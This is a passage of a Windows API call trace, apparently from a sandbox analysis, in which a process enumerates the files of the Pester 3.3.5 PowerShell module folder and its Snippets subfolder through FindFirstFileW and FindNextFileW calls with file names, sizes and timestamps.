cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0243.279] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0243.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0243.281] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0243.281] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0243.281] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x9205, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0243.281] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0243.281] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x31f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0243.281] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0243.282] GetProcessHeap () returned 0xc10000 [0243.282] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.282] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0243.282] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0243.282] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0243.282] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0243.282] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0243.282] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0243.283] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.md", cAlternateFileName="")) returned 1 [0243.283] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 1 [0243.283] GetProcessHeap () returned 0xc10000 [0243.283] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0243.286] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.286] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.286] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.287] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2cd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.287] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.287] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.287] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.287] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.287] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.287] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d43, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.288] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.289] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2d47, 